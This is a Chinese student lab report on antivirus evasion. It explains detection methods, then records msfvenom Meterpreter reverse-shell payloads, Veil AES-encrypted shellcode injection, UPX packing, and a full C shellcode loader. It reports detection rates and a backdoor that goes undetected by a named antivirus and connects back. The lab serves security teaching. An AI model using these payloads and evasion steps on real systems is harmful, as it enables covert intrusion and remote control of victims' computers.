Exp3-免杀原理与实践
Exp3-免杀原理与实践
1.基础问题回答
1.1 杀软是如何检测出恶意代码的?
杀软检测恶意代码有三种方法:
1.基于特征码的检测
杀软是通过样子识别的。
在每个杀软中都存在一个储存特征码的库,而能识别出来的恶意代码都会有这样的一段或者多段代码,它可以唯一的标识这个恶意代码,并且其他的文件里是没有的,这样的一段或者多段代码被称为特征码。例如在Windows的防火墙扫描的时候,发现要写入磁盘的代码段和特征码库中的一个或多个相同,就会识别出恶意代码。所以,杀软需要及时更新这个特征码库,否则只能识别很老的恶意代码,也就没有什么用了。当然,每个杀软的特征码库一般是保密的,这是竞争力所在,网络上很难找到特征码库。但是,可以使用Snort进行检测,这是一个开源的入侵检测平台。
- 基于特征码检测的优点是:精确地识别恶意代码。
- 基于特征码检测的缺点是:滞后性。不能检测0-day恶意软件,可能会对造成一些危害。0-day恶意软件是还未被发现的漏洞,它可以进行任何攻击行为。
2.启发式恶意软件检测
杀软是通过样子+行为识别的。相比于特征码检测,启发式恶意软件检测是一种比较模糊的检测方法,没有特征码检测那么精确。启发式恶意软件检测是通过片面特征推断是否是恶意代码。可以通过他的样子判断,例如文件的签名、结构、厂商信息等,是否有异常信息。比如一般Windows平台下编写的软件是使用Visual Studio,mac下编写软件使用的是XCode,如果出现使用Linux下编写的软件就要注意是不是恶意代码了。也可以通过他的行为来判断,看他是否有那些恶意代码的典型行为。例如这个程序有没有连接恶意软件?开放端口?修改系统文件?反弹连接等等……
缺点是:
- 与特征码检测比起来,不够精确
- 由于实时监控系统行为,开销较大
- 优点是:
- 可以检测特征码无法检测的0-day恶意软件
- 具有一定通用性
3.基于行为的检测
杀软是通过行为识别的,只关心他干了什么事。是指通用的、多特征的、非精确的扫描。
1.2 免杀是做什么?
一般40%-98%的恶意软件会被杀软检测出来,杀软无法检测出所有的恶意软件。免杀就是通过一些方式例如软件加壳、加密、重新编译等等,让杀软无法检测出来恶意软件。
1.3 免杀的基本方法有哪些?
基本方法有两大类:
1.改变特征码(改变样子)
- 如果只有exe文件:可以进行加壳——包括压缩壳、加密壳等
- 如果还有shellcode(如Meterpreter):
- 可以使用encode进行编码,改变他原本的特征码
- 基于payload重新编译生成可执行文件。例如上次Exp2中重新写入另一个可执行文件,这样就不会有本身的特征,而会变得更像另一个文件
- 如果还有源代码:
- 可以使用其他语言重写再编译。例如python是一种跨平台的语言,可以进行重写然后编译,特征码会改变。
从上到下的三种方法,越往下有的东西越多就越好做。
2.改变行为
- 通讯方式
- 尽量使用反弹式连接,让被攻击机连接攻击机。这是现成的组件,实践中可以直接选择。
- 使用隧道技术,这个一般没有现成的组件。
- 加密通讯数据,杀软无法解密,也就无法检测了。这个也可以直接调用现成组件。
- 操作模式
- 基于内存操作。一般要写入硬盘的东西都需要检测。
- 减少对系统的修改。
- 加入混淆作用的正常功能代码。
2.实践总结与体会
上次实验我们虽然实现了很多功能,例如抓取截屏啊、录音啊这些,但都是在关闭杀软的情况下实现了,也不太符合现实情况。现实中被攻击的计算机不可能没有任何防护措施。而这次实验中,我们体会到了一些实现免杀的方法,最后实现的时候觉得很惊喜,但是又很担忧。我们只学了这么一点方法就能实现免杀,虽然是一段很简单的代码,那些黑客们想要入侵我们的计算机那不是易如反掌吗?平时在使用计算机的时候一定要安全地使用才行。
3.开启杀软能绝对防止电脑中恶意代码吗?
不能。即使最好的杀毒软件,最多也只能检测出98%的恶意软件。
3.实践过程记录
首先我们来检测一下实验二中生成的后门程序,使用VirusTotal进行扫描。
扫描结果如下:

可见,如果不对后门程序做任何处理,大多数的杀毒软件都是可以检测出来的。
那么我们接下来尝试对实验二生成的后门程序进行处理,再来看看杀软的检测的结果。
3.1.1正确使用msf编码器,生成exe文件
首先尝试进行一次编码,看看会不会少几个软件检测出来。
3.1.1-1输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.62.16 LPORT=1330 -f exe > 20181330-msf1.exe 使用msf编码器生成exe文件。
命令分析:
- -p:针对平台,该命令中选择的是Windows平台下的meterpreter组件,reverse_tcp连接方式
-
-e:选择编码器
-
-b:badchar,选择payload中需要去除的字符,这次我们去掉'\x00' -
-f:生成文件格式
可以根据具体需要修改参数

此时我们再在VirusTotal上检测一下生成的文件

可见,在VirusTotal网站上,杀毒软件中仍然是可以检测出来。
所以一次编码没有什么用。
那要是进行多次编码呢?是不是特征码就会改变呢?我们来尝试一下。
输入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.62.16 LPORT=1330 -f exe > 20181330-msf2.exe 生成新的exe文件
命令分析:
- -i:增加了-i命令,这是迭代次数,我们选择迭代10次
我们再使用VirusTotal网站检测一下,结果如下:
经过10次迭代以后,杀毒软件中仍然有可以检测出来。
可见,迭代的方法已经无法避免被检测出来。这是因为msfvenom生成的exe文件是由固定的模板的,很多AV也会根据这个特点进行查杀。
接下来我们生成其他文件类型试试。
3.1.2正确使用msf编码器,生成jar文件。
输入 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=1330 x > 20181330-msf3.jar 使用msf编码器生成jar文件


生成jar文件之后,能检测出来的杀毒软件变少了。
3.1.3正确使用msf编码器,生成php文件
输入 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.62.18 LPORT=1330 x> 20181330-msf4.php 使用msf编码器生成php文件

Php格式文件大小缩小了很多。
利用jar文件
生成代码
msfvenom -p java/shell_reverse_tcp LHOST=192.168.40.128 LPORT=11310 -f jar > backdoor_jar.jar

进行检测(检出率32/60)

3.2veil,加壳工具实践
3.2.1安装工具
安装命令行
sudo apt-get install veil-evasion

安装设置
下载成功后,修改setup.sh:
cd /usr/share/veil/config
vim setup.sh
注意:先进入root模式
修改第260行的


修改成功后,等待veil安装



3.2.2使用veil-evasion生成后门程序及检测
- 用
use evasion命令进入Evil-Evasion
输入命令·use c/meterpreter/rev_tcp.py·进入配置界面 ![]()
设置IP和端口set LHOST 192.168.1.142 和 set LPORT 1229

输入generate生成文件,接着输入你想要playload的名字:veil-20191229
VirusTotal网站的扫描结果如下:

3.2.3免杀加壳尝试
加壳:加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
- 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP(入口点,防止被破解,查壳就是为了找它),类似于动物界的龟壳。大多数病毒就是基于此原理。
指令:upx 20191229veil.exe -o 20191229veil_upx.exe

VirusTotal网站的扫描结果如下:

检出率为(47/70)反而上升了,能看出加壳反而没什么效果。。。
3.3.1使用C + shellcode编程
首先使用msfvenom得到shellcode
指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.142 LPORT=1229 -f c

创建一个文件20191223backdoor.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50\x8b\x48\x18\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x5b\x85\x68\x02"
"\x00\x05\x32\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
使用命令:i686-w64-mingw32-g++ 20191223backdoor.c -o 20191223backdoor.exe 编译为可执行文件;

VirusTotal网站的扫描结果如下:

检出率为(34/70),低于百分之50.
3.3.2通过组合应用各种技术实现恶意代码免杀
启动veil,进入evasion,输入list查看可用的有效荷载,如下:

我们选择第28行的payload
use python/shellcode_inject/aes_encrypt.py
generate
选第二个
![]()
找到文件位置,用VirusTotal网站的扫描结果如下,实现免杀:


原理是在py环境下利用AES加密方式对后门程序进行传输加密。
4.附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
另一台电脑使用的杀软是腾讯管家,版本是V13.6
电脑版本是Windows10
和之前步骤相同,这次我们来试一试生成raw文件吧
- 输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=本机ip lport=1229 -f raw -o 20191229.raw 生成raw文件
- 如果报错的话加上权限,加上sudo重新执行即可
![]()
-
需要在对方计算机上下载shellcode_launcher
- 然后在对方的电脑上输入 shellcode_launcher.exe -i 20191229.raw 运行生成的文件
![]()
- 杀软没有发现

在自己的电脑上依次输入:
msfconsole
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.91.133 //此处为kali端ip地址 exploit
之后成功实现回连!








浙公网安备 33010602011771号